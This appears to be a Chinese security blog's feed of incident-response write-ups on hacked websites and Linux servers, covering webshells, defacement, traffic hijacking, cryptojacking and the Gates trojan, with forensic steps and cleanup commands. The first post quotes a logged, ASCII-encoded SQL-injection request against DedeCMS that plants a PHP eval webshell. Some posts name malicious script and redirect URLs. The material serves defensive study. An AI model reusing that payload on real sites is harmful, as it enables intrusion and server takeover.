小黑板 - 2019年9月
type: channel
link: https://note.m0rk.top/index.php/2019/09/
description: ⼀个⽹络安全工作者，跟大多数人一样，对技术的追求很执着，无奈现实很骨感！！ 嗯，当然我也比较懒啦！如发布的文章涉及版权问题，请邮箱联系我哦！
items: 第五章：web实战篇（账号篡改）
items: 第五章：web实战篇（网页篡改）
items: 第五章：web实战篇（搜索引擎劫持）
items: 第五章：web实战篇（移动端劫持）
items: 第五章：web实战篇（源劫持）
items: 第五章：web实战篇（挂黑页）
items: 第五章：web实战篇（门罗币挖矿）
items: 第五章：web实战篇（webshell）
items: 第四章：linux实战篇（ddos）
items: 第四章：linux实战篇（盖茨木马）

第五章：web实战篇（账号篡改）
type: item
date: 2019-09-29T17:54:48+08:00
description: 第8篇：管理员账号被篡改 ​ 你是某一个网站的管理员，有一天，你的管理员账号admin却登录不了，进入数据库查看，原来管理员账号用户名不存在了，却多了另外一个管理员用户名。不对，不是新增了管理员，而是你的管理员用户名被篡改了。 现象描述 前后端分离，后台只允许内网访问，管理员账号admin却依然被多次被篡改 问题处理 1、网站webshell 在针对网站根目录进行webshell扫描，发现存在脚本木马，创建时间为2018-06-13 04:30:30 2、 定位IP 通过木马创建时间， 查看网站访问日志，定位到IP为：180.xx.xx.3 3、关联分析 全局搜索与该IP有关的操作日志： 在脚本木马生成前，有两条比较可疑的访问日志吸引了我们的注意： 172.16.1.12 180.xx.xxx.3 - - [10/Jun/2018:08:41:43 +0800] "GET /plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=97&arrs2[]=100&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=32&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=114&arrs2[]=101&arrs2[]=97&arrs2[]=100&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=120&arrs2[]=93&arrs2[]=41&arrs2[]=59&arrs2[]=101&arrs2[]=99&arrs2[]=104&arrs2[]=111&arrs2[]=32&arrs2[]=109&arrs2[]=79&arrs2[]=111&arrs2[]=110&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=32&arrs2[]=87&arrs2[]=72&arrs2[]=69&arrs2[]=82&arrs2[]=69&arrs2[]=32&arrs2[]=96&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=49&arrs2[]=57&arrs2[]=32&arrs2[]=35 HTTP/1.1" 200 67 172.16.1.12 180.xx.xxx.3 - - [10/J…

第五章：web实战篇（网页篡改）
type: item
date: 2019-09-29T17:53:47+08:00
description: 第7篇：网站首页被篡改 ​ 网站首页被非法篡改，是的，就是你一打开网站就知道自己的网站出现了安全问题，网站程序存在严重的安全漏洞，攻击者通过上传脚本木马，从而对网站内容进行篡改。而这种篡改事件在某些场景下，会被无限放大。 现象描述 网站首页被恶意篡改，比如复制原来的图片，PS一下，然后替换上去。 问题处理 1、确认篡改时间 通过对被篡改的图片进行查看，确认图片篡改时间为2018年04月18日 19:24:07 。 2、访问日志溯源 通过图片修改的时间节点，发现可疑IP：113.xx.xx.24 （代理IP，无法追溯真实来源），访问image.jsp（脚本木马），并随后访问了被篡改的图片地址。 进一步审查所有的日志文件(日志保存时间从2017-04-20至2018-04-19)，发现一共只有两次访问image.jsp文件的记录，分别是2018-04-18和2017-09-21。 image.jsp在2017-09-21之前就已经上传到网站服务器，已经潜藏长达半年多甚至更久的时间。 3、寻找真相 我们在网站根目录找到了答案，发现站点目录下存在ROOT.rar全站源码备份文件，备份时间为2017-02-28 10:35。 通过对ROOT.rar解压缩，发现源码中存在的脚本木马与网站访问日志的可疑文件名一致（image.jsp）。 根据这几个时间节点，我们尝试去还原攻击者的攻击路径。 但是我们在访问日志并未找到ROOT.rar的访问下载记录，访问日志只保留了近一年的记录，而这个webshell可能已经存在了多年。 黑客是如何获取webshell的呢？ 可能是通过下载ROOT.rar全站源码备份文件获取到其中存在的木马信息，或者几年前入侵并潜藏了多年，又或者是从地下黑产购买了shell，我们不得而知。 本文的示例中攻击者为我们留下了大量的证据和记录，而更多时候，攻击者可能会清除所有的关键信息，这势必会加大调查人员的取证难度。 摘自：gitbook_bypass

第五章：web实战篇（搜索引擎劫持）
type: item
date: 2019-09-29T17:52:29+08:00
description: 第6篇：搜索引擎劫持 ​ 当你直接打开网址访问网站，是正常的，可是当你在搜索引擎结果页中打开网站时，会跳转到一些其他网站，比如博彩，虚假广告，淘宝搜索页面等。是的，你可能了遇到搜索引擎劫持。 现象描述 从搜索引擎来的流量自动跳转到指定的网页 问题处理 通过对index.php文件进行代码分析，发现该文件代码 对来自搜狗和好搜的访问进行流量劫持。 进一步跟着include函数包含的文件，index,php包含/tmp/.ICE-unix/.. /c.jpg。 进入/tmp目录进行查看，发现该目录下，如c.jpg等文件，包含着一套博彩劫持的程序。 摘自：gitbook_bypass

第五章：web实战篇（移动端劫持）
type: item
date: 2019-09-29T17:51:21+08:00
description: 第5篇：移动端劫持 PC端访问正常，移动端访问出现异常，比如插入弹窗、嵌入式广告和跳转到第三方网站，将干扰用户的正常使用，对用户体验造成极大伤害。 现象描述 部分网站用户反馈，手机打开网站就会跳转到赌博网站。 问题处理 访问网站首页，抓取到了一条恶意js： http://js.zadovosnjppnywuz.com/caonima.js 我们可以发现，攻击者通过这段js代码判断手机访问来源，劫持移动端（如手机、ipad、Android等）流量，跳转到https://262706.com。 进一步访问https://262706.com，跳转到赌博网站： 摘自：gitbook_bypass

第五章：web实战篇（源劫持）
type: item
date: 2019-09-29T17:50:05+08:00
description: 第4篇：新闻源网站劫持 新闻源网站一般权重较高，收录快，能够被搜索引擎优先收录，是黑灰产推广引流的必争之地，很容易成为被攻击的对象。被黑以后主要挂的不良信息内容主要是博彩六合彩等赌博类内容，新闻源网站程序无论是自主开发的还是开源程序，都有被黑的可能，开源程序更容易被黑。 现象描述： 某新闻源网站首页广告链接被劫持到菠菜网站 有三个广告专题，链接形式如下： ​ http://www.xxx.cn/zhuanti/yyysc/index.shtml ​ http://www.xxx.cn/zhuanti/wwwsc/index.shtml ​ http://www.xxx.cn/zhuanti/zzzsc/index.shtml 点击这三条链接会跳转到博彩网站。简单抓包分析一下过程： 可以发现此时这个返回页面已被劫持，并且加载了第三方js文件，http://xn--dpqw2zokj.com/N/js/dt.js，进一步访问该文件： dt.js进一步加载了另一条js，访问http://xn--dpqw2zokj.com/N/js/yz.js 我们发现链接跳转到https://lemcoo.com/?dt，进一步访问这个链接，网站为博彩链接导航网站，访问后会随机跳转到第三方赌博网站。 问题处理： 找到url对应的文件位置，即使文件被删除，链接依然可以访问，可以发现三条链接都是以“sc”后缀。 对Nginx配置文件进行排查，发现Nginx配置文件VirtualHost.conf被篡改，通过反向代理匹配以“sc”后缀的专题链接，劫持到http://103.233.248.163，该网站为博彩链接导航网站。 删除恶意代理后，专题链接访问恢复。 摘自：gitbook_bypass

第五章：web实战篇（挂黑页）
type: item
date: 2019-09-29T17:48:51+08:00
description: 第3篇：批量挂黑页 作为一个网站管理员，你采用开源CMS做网站，比如dedecms，但是有一天，你忽然发现不知何时，网站的友情链接模块被挂大量垃圾链接，网站出现了很多不该有的目录，里面全是博彩相关的网页。而且，攻击者在挂黑页以后，会在一些小论坛注册马甲将你的网站黑页链接发到论坛，引爬虫收录。在搜索引擎搜索网站地址时，收录了一些会出现一些博彩页面，严重影响了网站形象。 原因分析 网站存在高危漏洞，常见于一些存在安全漏洞的开源CMS，利用0day批量拿站上传黑页。 现象描述： 某网站被挂了非常多博彩链接，链接形式如下： ​ http://www.xxx.com/upload/aomendduchangzaixiandobo/index.html ​ http://www.xxx.com/upload/aomendduchangzaixian/index.html ​ http://www.xxx.com/upload/aomenzhengguidubowangzhan/index.html 链接可以访问，直接访问物理路径也可以看到文件，但是打开网站目录并没有发现这些文件，这些文件到底藏在了哪？ 访问这些链接，跳转到如图页面： 问题处理： 1、打开电脑文件夹选项卡，取消”隐藏受保护的操作系统文件“勾选，把”隐藏文件和文件夹“下面的单选选择“显示隐藏的文件、文件夹和驱动器”。 2、再次查看，可以看到半透明的文件夹，清楚隐藏文件夹及所有页面 3、然后清除IIS临时压缩文件 C:\inetpub\temp\IIS Temporary Compressed Files\WEBUI$^_gzip_D^\WEB\WEBUI\UPLOAD 4、投诉快照，申请删除相关的网页收录，减少对网站的影响。 摘自：gitbook_bypass

第五章：web实战篇（门罗币挖矿）
type: item
date: 2019-09-29T17:47:36+08:00
description: 第2篇：门罗币恶意挖矿 门罗币(Monero 或 XMR)，它是一个非常注重于隐私、匿名性和不可跟踪的加密数字货币。只需在网页中配置好js脚本，打开网页就可以挖矿，是一种非常简单的挖矿方式，而通过这种恶意挖矿获取数字货币是黑灰色产业获取收益的重要途径。 现象描述 利用XMR恶意挖矿，会大量占用用户的CPU资源，严重影响了网站的用户体验。 从08/09日0点开始，局域网内某IP访问网站页面会触发安全预警，只要访问此服务器上的网页，CPU直线上升100% 问题解析 通过获取恶意网页url，对网页页面进行分析，发现网站页面被植入在线门罗币挖矿代码： 删除js里面的恶意代码，网站被XMR 恶意挖矿，服务器已经被攻击，进一步做服务器入侵排查。 摘自：gitbook_bypass

第五章：web实战篇（webshell）
type: item
date: 2019-09-29T17:46:03+08:00
description: 第1篇：网站被植入Webshell 网站被植入webshell，意味着网站存在可利用的高危漏洞，攻击者通过利用漏洞入侵网站，写入webshell接管网站的控制权。为了得到权限 ，常规的手段如：前后台任意文件上传，远程命令执行，Sql注入写入文件等。 现象描述 网站管理员在站点目录下发现存在webshell，于是开始了对入侵过程展开了分析。 Webshell查杀工具： D盾_Web查杀 Window下webshell查杀：http://www.d99net.net/index.asp 河马：支持多平台，但是需要联网环境。 使用方法: wget http://down.shellpub.com/hm/latest/hm-linux-amd64.tgz tar xvf hm-linux-amd64.tgz hm scan /www 事件分析 1、 定位时间范围 通过发现的webshell文件创建时间点，去翻看相关日期的访问日志。 2、Web 日志分析 经过日志分析，在文件创建的时间节点并未发现可疑的上传，但发现存在可疑的webservice接口 3、漏洞分析 访问webservice接口，发现变量：buffer、distinctpach、newfilename可以在客户端自定义 4、漏洞复现 尝试对漏洞进行复现，可成功上传webshell，控制网站服务器 5、漏洞修复 清除webshell并对webservice接口进行代码修复。 从发现webshell到日志分析，再到漏洞复现和修复，本文暂不涉及溯源取证方面。 摘自：gitbook_bypass

第四章：linux实战篇（ddos）
type: item
date: 2019-09-29T17:42:05+08:00
description: 第5篇：DDOS病毒 现象描述 某服务器网络资源异常,感染该木马病毒的服务器会占用网络带宽，甚至影响网络业务正常应用。 系统分析 针对日志服务器病毒事件排查情况： 在开机启动项/etc/rc.d/rc.local发现可疑的sh.sh脚本，进一步跟踪sh.sh脚本,这是一个检测病毒十分钟存活的脚本。 在root目录下发现存活检测脚本 解决步骤： 结束进程 ps aux | grep "conf.m" | grep -v grep | awk ‘{print $2}‘| xargs kill -9 清除自动启动脚本 vim /etc/rc.local 去掉 sh /etc/chongfu.sh & 清除 脚本 rm -rf /etc/chongfu.sh /tem/chongfu.sh 修改登录密码 passwd 重启。 reboot 摘自：gitbook_bypass

第四章：linux实战篇（盖茨木马）
type: item
date: 2019-09-29T17:23:11+08:00
description: 第4篇：盖茨木马 0x00 前言 ​ Linux盖茨木马是一类有着丰富历史，隐藏手法巧妙，网络攻击行为显著的DDoS木马，主要恶意特点是具备了后门程序，DDoS攻击的能力，并且会替换常用的系统文件进行伪装。木马得名于其在变量函数的命名中，大量使用Gates这个单词。分析和清除盖茨木马的过程，可以发现有很多值得去学习和借鉴的地方。 0x01 应急场景 ​ 某天，网站管理员发现服务器CPU资源异常，几个异常进程占用大量网络带宽： 0x02 事件分析 异常IP连接： 异常进程： ​ 查看进行发现ps aux进程异常，进入该目录发现多个命令，猜测命令可能已被替换 登录服务器，查看系统进程状态，发现不规则命名的异常进程、异常下载进程 : 异常启动项 进入rc3.d目录可以发现多个异常进行： /etc/rc.d/rc3.d/S97DbSecuritySpt /etc/rc.d/rc3.d/S99selinux 搜索病毒原体 find / -size -1223124c -size +1223122c -exec ls -id {} \; 搜索1223123大小的文件 从以上种种行为发现该病毒与“盖茨木马”有点类似，具体技术分析细节详见： Linux平台“盖茨木马”分析 http://www.freebuf.com/articles/system/117823.html 悬镜服务器卫士丨Linux平台“盖茨木马”分析 http://www.sohu.com/a/117926079_515168 手动清除木马过程： 1、简单判断有无木马 #有无下列文件 cat /etc/rc.d/init.d/selinux cat /etc/rc.d/init.d/DbSecuritySpt ls /usr/bin/bsd-port ls /usr/bin/dpkgd #查看大小是否正常 ls -lh /bin/netstat ls -lh /bin/ps ls -lh /usr/sbin/lsof ls -lh /usr/sbin/ss 2、上传如下命令到/root下 ps netstat ss lsof 3、删除如下目录及文件 rm -rf /usr/bin/dpkgd (ps netstat lsof ss) rm -rf /usr/bin/bsd-port #木马程序 rm -f /usr/bin/.sshd #木马后门 rm -f /tmp/gates.lod rm -f /tmp/moni.lod rm -f /etc/rc.d/init.d/DbSecuritySpt(启动上述描述的那些木马变种程序) rm -f /etc/rc.d/rc1.d/S97DbSecuritySpt rm -f /etc/rc.d/rc2.d/S97DbSecuritySpt rm -f /etc/rc.d/rc3.d/S97DbSecuritySpt rm -f /etc/rc.d/rc4.d/S97DbSecuritySpt rm -f /etc/rc.d/rc5.d/S97DbSecuritySpt rm -f /etc/rc.d/init.d/selinux(默认是启动/usr/bin/bsd-port/getty) rm -f /etc/rc.d/rc1.d/S99selinux rm -f /etc/rc.d/rc2.d/S99selinux rm -f /etc/rc.d/rc3.d/S99selinux rm -f /etc/rc.d/rc4.d/S99selinux rm -f /etc/rc.d/rc5.d/S99selinux 4、找出异常程序并杀死 5、删除含木马命令并重新安装 0x03 命令替换 RPM check检查： 系统完整性也可以通过rpm自带的-Va来校验检查所有的rpm软件包,有哪些被篡改了,防止rpm也被替换,上传一个安全干净稳定版本rpm二进制到服务器上进行检查 ./rpm -Va > rpm.log 如果一切均校验正常将不会产生任何输出。如果有不一致的地方，就会显示出来。输出格式是8位长字符串, ``c 用以指配置文件, 接着是文件名. 8位字符的每一个 用以表示文件与RPM数据库中一种属性的比较结果 。``. (点) 表示测试通过。.下面的字符表示对RPM软件包进行的某种测试失败： 命令替换： rpm2cpio 包全名 | cpio -idv .文件绝对路径 rpm包中文件提取 Rpm2cpio 将rpm包转换为cpio格式的命令 Cpio 是一个标准工具，它用于创建软件档案文件和从档案文件中提取文件 Cpio 选项 < [文件|设备] -i：copy-in模式，还原 -d：还原时自动新建目录 -v：显示还原过程 文件…